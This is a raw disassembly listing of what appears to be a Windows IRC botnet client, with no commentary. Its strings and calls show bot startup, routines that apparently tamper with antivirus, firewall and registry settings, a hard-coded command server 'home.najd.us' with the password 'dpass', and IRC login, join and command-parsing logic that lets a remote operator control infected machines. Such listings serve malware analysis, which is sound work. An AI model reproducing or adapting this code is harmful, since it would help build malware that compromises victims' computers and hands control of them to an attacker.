		jz	short loc_40C5D2
		push	0C8h
		call	ds:dword_41F050	; Sleep
		push	[ebp+var_24]
		mov	esi, ds:dword_41F058
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_44CC48	; WSACleanup
		push	ebx
		call	ds:off_41F104


loc_40C5D2:				; CODE XREF: sub_40C2D0+144j
					; sub_40C2D0+2D8j
		cmp	dword_742248, 2
		jle	short loc_40C61E
		mov	eax, dword_74224C
		push	dword ptr [eax+4]
		call	sub_413D7F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_41F128	; WaitForSingleObject
		push	esi
		call	ds:dword_41F058	; CloseHandle
		mov	eax, dword_74224C
		cmp	[eax+8], ebx
		jz	short loc_40C61E
		push	7D0h
		call	ds:dword_41F050	; Sleep
		mov	eax, dword_74224C
		push	dword ptr [eax+8]
		call	ds:off_41F118


loc_40C61E:				; CODE XREF: sub_40C2D0+309j
					; sub_40C2D0+333j
		cmp	dword_42A330, ebx
		jz	short loc_40C63B
		cmp	dword_44CDA8, ebx
		jnz	short loc_40C63B
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_409A42
		pop	ecx


loc_40C63B:				; CODE XREF: sub_40C2D0+354j
					; sub_40C2D0+35Cj
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bEnz_m_d ; ".e.(1.0b) ( enz.m.d.l	) ..	Bot start"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_4132BE
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		push	0B80h
		push	ebx
		push	offset dword_4514A8
		call	sub_413890
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bProcess ; ".e.(1.0b) ( process.m.d.l ) ..  AV/FW"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_4132BE
		add	esp, 38h
		mov	edi, eax
		mov	esi, ds:off_41F070
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_4126FC
		push	ebx
		push	ebx
		call	esi ; sub_74ED5F
		imul	edi, 134h
		cmp	eax, ebx
		mov	dword_45213C[edi], eax
		jnz	short loc_40C6DB
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bProce_0 ; ".e.(1.0b) ( process.m.d.l ) ..  Faile"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40C6DB:				; CODE XREF: sub_40C2D0+3EEj
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset a_e_1_0bSecure_ ; ".e.(1.0b)	( secure.m.d.l ) ..  System"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset off_413002
		push	ebx
		push	ebx
		call	esi ; sub_74ED5F
		imul	edi, 134h
		cmp	eax, ebx
		mov	dword_45213C[edi], eax
		jnz	short loc_40C748
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bSecur_0 ; ".e.(1.0b) ( secure.m.d.l ) ..  Failed"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40C748:				; CODE XREF: sub_40C2D0+45Bj
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset a_e_1_0bSecur_1 ; ".e.(1.0b)	( secure.m.d.l ) ..  Regist"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_409AB2
		push	ebx
		push	ebx
		call	esi ; sub_74ED5F
		imul	edi, 134h
		cmp	eax, ebx
		mov	dword_45213C[edi], eax
		jnz	short loc_40C7BB
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bSecur_2 ; ".e.(1.0b) ( secure.m.d.l ) ..  Failed"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40C7BB:				; CODE XREF: sub_40C2D0+4CEj
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		call	sub_41386E
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_741F74
		mov	dword_7420F4, ebx
		call	sub_415140
		mov	eax, dword_42A314
		push	3Fh
		mov	edi, offset dword_741FF4
		push	offset off_42A368
		push	edi
		mov	dword_7420C4, eax
		call	sub_415140
		push	3Fh
		mov	esi, offset dword_742034
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_415140
		add	esp, 28h
		mov	dword_7420C8, ebx


loc_40C81A:				; CODE XREF: sub_40C2D0+5F0j
					; sub_40C2D0+5FBj ...
		mov	[ebp+var_4], ebx


loc_40C81D:				; CODE XREF: sub_40C2D0+5A4j
		cmp	dword_44CDC0, ebx
		jnz	short loc_40C83B
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	dword_44CC30	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40C83B
		push	7530h
		jmp	short loc_40C867
; ---------------------------------------------------------------------------


loc_40C83B:				; CODE XREF: sub_40C2D0+553j
					; sub_40C2D0+562j
		push	offset dword_741F70
		mov	dword_7420F0, ebx
		call	sub_40C929
		cmp	eax, 2
		mov	[ebp+var_C], eax
		jz	loc_40C915
		cmp	dword_7420F0, ebx
		jz	short loc_40C862
		dec	[ebp+var_4]


loc_40C862:				; CODE XREF: sub_40C2D0+58Dj
		push	0BB8h


loc_40C867:				; CODE XREF: sub_40C2D0+569j
		call	ds:dword_41F050	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40C81D
		cmp	[ebp+var_C], 2
		jz	loc_40C915
		cmp	[ebp+var_10], ebx
		jz	short loc_40C8C5
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_741F74
		call	sub_415140
		mov	eax, dword_42A314
		push	3Fh
		push	offset off_42A368
		push	edi
		mov	dword_7420C4, eax
		call	sub_415140
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_415140
		add	esp, 24h
		mov	[ebp+var_10], ebx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C8C5:				; CODE XREF: sub_40C2D0+5B3j
		cmp	byte_42A374, bl
		jz	loc_40C81A
		push	7Fh
		push	offset byte_42A374
		push	offset dword_741F74
		call	sub_415140
		mov	eax, dword_42A318
		push	3Fh
		push	offset off_42A384
		push	edi
		mov	dword_7420C4, eax
		call	sub_415140
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_415140
		add	esp, 24h
		mov	[ebp+var_10], 1
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C915:				; CODE XREF: sub_40C2D0+581j
					; sub_40C2D0+5AAj
		call	sub_413487


loc_40C91A:				; CODE XREF: sub_40C2D0+B1j
					; sub_40C2D0+C1j
		call	dword_44CC48	; WSACleanup


loc_40C920:				; CODE XREF: sub_40C2D0+A4j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40C2D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C929	proc near		; CODE XREF: sub_40C2D0+576p
					; DATA XREF: sub_40CC09+369Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40C94E:				; CODE XREF: sub_40C929+E6j
					; sub_40C929+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_408947
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CA7B
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_413890
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_7420DC
		push	dword_42A33C
		push	eax
		call	sub_412AB7
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 134h
		push	1Bh
		add	eax, offset byte_452140
		push	edi
		push	eax
		call	sub_415140
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 134h
		push	10h
		mov	dword_452134[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CA14
		push	esi
		call	dword_44CD70	; closesocket
		call	sub_408970
		push	7D0h


loc_40CA09:				; CODE XREF: sub_40C929+146j
		call	ds:dword_41F050	; Sleep
		jmp	loc_40C94E
; ---------------------------------------------------------------------------


loc_40CA14:				; CODE XREF: sub_40C929+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset a_e_1_0bEnz_m_0 ; ".e.(1.0b) ( enz.m.d.l	) ..	Connected"...
		call	sub_4098A7
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CA91
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_44CD70	; closesocket
		test	edi, edi
		jz	loc_40C94E
		cmp	edi, 1
		jnz	short loc_40CA71
		push	0DBBA0h
		jmp	short loc_40CA09
; ---------------------------------------------------------------------------


loc_40CA71:				; CODE XREF: sub_40C929+13Fj
		cmp	edi, 2
		jz	short loc_40CA7F
		jmp	loc_40C94E
; ---------------------------------------------------------------------------


loc_40CA7B:				; CODE XREF: sub_40C929+5Aj
		xor	eax, eax
		jmp	short loc_40CA8B
; ---------------------------------------------------------------------------


loc_40CA7F:				; CODE XREF: sub_40C929+14Bj
		push	[ebp+var_34]
		call	sub_4135DA
		pop	ecx
		push	2
		pop	eax


loc_40CA8B:				; CODE XREF: sub_40C929+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40C929	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA91	proc near		; CODE XREF: sub_40C929+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_413E60
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CAAF:				; CODE XREF: sub_40CA91+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CAAF
		cmp	byte_7420EC, bl
		jz	short loc_40CAD6
		push	offset byte_7420EC
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40B26F
		add	esp, 0Ch


loc_40CAD6:				; CODE XREF: sub_40CA91+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_412AB7
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_413812
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CB40
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket
		push	1388h
		call	ds:dword_41F050	; Sleep


loc_40CB39:				; CODE XREF: sub_40CA91+D9j
					; sub_40CA91+153j
		xor	eax, eax


loc_40CB3B:				; CODE XREF: sub_40CA91+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CB40:				; CODE XREF: sub_40CA91+92j
					; sub_40CA91+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CCF4	; recv
		test	eax, eax
		jle	short loc_40CB39
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_408327
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CB40
		lea	edi, [ebp+var_A10]


loc_40CB91:				; CODE XREF: sub_40CA91+165j
		push	1
		pop	esi


loc_40CB94:				; CODE XREF: sub_40CA91+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CC09
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CBD7
		push	7D0h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40CB94
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA91+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CC01
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CBFD
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CB39
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CB91
		jmp	loc_40CB40
; ---------------------------------------------------------------------------


loc_40CBFD:				; CODE XREF: sub_40CA91+14Ej
		push	1
		jmp	short loc_40CC03
; ---------------------------------------------------------------------------


loc_40CC01:				; CODE XREF: sub_40CA91+149j
		push	2


loc_40CC03:				; CODE XREF: sub_40CA91+16Ej
		pop	eax
		jmp	loc_40CB3B
sub_40CA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC09	proc near		; CODE XREF: sub_40CA91+12Ap

var_129C	= byte ptr -129Ch
var_E9C		= byte ptr -0E9Ch
var_D9C		= byte ptr -0D9Ch
var_C9C		= byte ptr -0C9Ch
var_C98		= byte ptr -0C98h
var_B98		= byte ptr -0B98h
var_A98		= byte ptr -0A98h
var_A94		= byte ptr -0A94h
var_994		= byte ptr -994h
var_914		= byte ptr -914h
var_8B3		= byte ptr -8B3h
var_8B2		= byte ptr -8B2h
var_8B0		= byte ptr -8B0h
var_8AF		= byte ptr -8AFh
var_8A6		= byte ptr -8A6h
var_8A4		= byte ptr -8A4h
var_8A2		= byte ptr -8A2h
var_8A1		= byte ptr -8A1h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_70C		= dword	ptr -70Ch
var_708		= dword	ptr -708h
var_704		= byte ptr -704h
var_6F8		= dword	ptr -6F8h
var_6F4		= dword	ptr -6F4h
var_6F0		= byte ptr -6F0h
var_688		= byte ptr -688h
var_678		= dword	ptr -678h
var_674		= byte ptr -674h
var_670		= byte ptr -670h
var_618		= dword	ptr -618h
var_610		= byte ptr -610h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
var_5FC		= byte ptr -5FCh
var_5F4		= byte ptr -5F4h
var_5F0		= byte ptr -5F0h
var_589		= byte ptr -589h
var_588		= byte ptr -588h
var_580		= byte ptr -580h
var_574		= byte ptr -574h
var_570		= byte ptr -570h
var_500		= byte ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= dword	ptr -4F8h
var_4F4		= dword	ptr -4F4h
var_4F0		= byte ptr -4F0h
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_448		= byte ptr -448h
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_3F0		= dword	ptr -3F0h
var_3EC		= byte ptr -3ECh
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= byte ptr -3D8h
var_3AC		= byte ptr -3ACh
var_38C		= dword	ptr -38Ch
var_374		= byte ptr -374h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_344		= byte ptr -344h
var_330		= byte ptr -330h
var_320		= byte ptr -320h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= byte ptr -304h
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2C4		= byte ptr -2C4h
var_2A0		= byte ptr -2A0h
var_284		= byte ptr -284h
var_274		= byte ptr -274h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= byte ptr -1E4h
var_1D8		= word ptr -1D8h
var_1D6		= word ptr -1D6h
var_1D4		= dword	ptr -1D4h
var_1C8		= dword	ptr -1C8h
var_1C4		= byte ptr -1C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 129Ch
		call	sub_413E60
		push	ebx
		push	esi
		mov	esi, 0FFh
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_98], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_1C8], ebx
		call	sub_413890
		push	1Bh
		lea	eax, [ebp+var_464]
		push	[ebp+arg_10]
		push	eax
		call	sub_415140
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40CFCD
		push	esi
		lea	eax, [ebp+var_B98]
		push	ebx
		push	eax
		call	sub_413890
		dec	esi
		lea	eax, [ebp+var_B98]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_B98]
		push	offset asc_434610 ; " :"
		push	eax
		call	sub_413DE0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_B98]
		push	esi
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_415140
		mov	esi, offset asc_425148 ; " "
		lea	eax, [ebp+var_D9C]
		push	esi
		push	eax
		call	sub_4150A0
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_A8], 1Fh


loc_40CCDC:				; CODE XREF: sub_40CC09+E7j
		push	esi
		push	ebx
		call	sub_4150A0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_40CCDC
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40CFCD
		cmp	[ebp+var_90], ebx
		jz	loc_40CFCD
		push	100h
		lea	eax, [ebp+var_914]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40CD2A:				; CODE XREF: sub_40CC09+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CD56
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CD5E
		cmp	[eax+2], bl
		jnz	short loc_40CD5E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_914], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CD56:				; CODE XREF: sub_40CC09+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CD2A


loc_40CD5E:				; CODE XREF: sub_40CC09+12Aj
					; sub_40CC09+12Fj
		cmp	[ebp+var_8A1], bl
		jz	short loc_40CD69
		mov	[ebp+var_8], edi


loc_40CD69:				; CODE XREF: sub_40CC09+15Bj
		cmp	[ebp+var_8A6], bl
		jz	short loc_40CD77
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40CD77:				; CODE XREF: sub_40CC09+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CDB1
		push	7Fh
		lea	eax, [ebp+var_994]
		push	esi
		push	eax
		call	sub_415140
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_C4]
		push	offset asc_42D588 ; "!"
		push	eax
		call	sub_4150A0
		add	esp, 20h


loc_40CDB1:				; CODE XREF: sub_40CC09+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CE02
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40CEA6
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 10h
		jmp	loc_40CEA6
; ---------------------------------------------------------------------------


loc_40CE02:				; CODE XREF: sub_40CC09+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412307
		push	esi
		push	offset a005	; "005"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412307
		push	esi
		push	offset a302	; "302"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CE6D
		push	offset a@_10	; "@"
		push	[ebp+var_88]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40CEA6
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_415140
		add	esp, 0Ch
		jmp	short loc_40CEA6
; ---------------------------------------------------------------------------


loc_40CE6D:				; CODE XREF: sub_40CC09+238j
		push	esi
		push	offset a433	; "433"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CEAD
		push	ebx
		push	dword_7420DC
		push	dword_42A33C
		push	[ebp+arg_10]
		call	sub_412AB7
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 1Ch


loc_40CEA6:				; CODE XREF: sub_40CC09+1D8j
					; sub_40CC09+1F4j ...
		mov	eax, edi
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CEAD:				; CODE XREF: sub_40CC09+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 2
		mov	edi, 80h


loc_40CEBF:				; CODE XREF: sub_40CC09+2DBj
		lea	eax, [ebp+var_994]
		push	eax
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CEDC
		mov	[ebp+var_98], 1


loc_40CEDC:				; CODE XREF: sub_40CC09+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_40CEBF
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40CFD5
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40CF0B:				; CODE XREF: sub_40CC09+38Fj
		cmp	[esi], bl
		jz	loc_40CF93
		push	7Fh
		lea	eax, [ebp+var_994]
		push	esi
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40CF93
		cmp	[ebp+var_88], ebx
		jz	short loc_40CF93
		push	[ebp+var_88]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF93
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l	) ..	User %s	l"...
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		add	esp, 20h


loc_40CF93:				; CODE XREF: sub_40CC09+304j
					; sub_40CC09+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40CF0B
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CFCD
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40CFC2:				; CODE XREF: sub_40CC09+615j
					; sub_40CC09+96Cj
		push	[ebp+arg_4]
		call	sub_40B26F


loc_40CFCA:				; CODE XREF: sub_40CC09+4D8Cj
					; sub_40CC09+4DA9j ...
		add	esp, 10h


loc_40CFCD:				; CODE XREF: sub_40CC09+5Bj
					; sub_40CC09+F1j ...
		push	1


loc_40CFCF:				; CODE XREF: sub_40CC09+52C0j
		pop	eax


loc_40CFD0:				; CODE XREF: sub_40CC09+29Fj
					; sub_40CC09+3860j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CFD5:				; CODE XREF: sub_40CC09+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D12B
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40CFFE:				; CODE XREF: sub_40CC09+447j
		lea	eax, [ebp+var_994]
		push	eax
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D04B
		lea	eax, [ebp+var_994]
		push	21h
		push	eax
		call	sub_415BA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
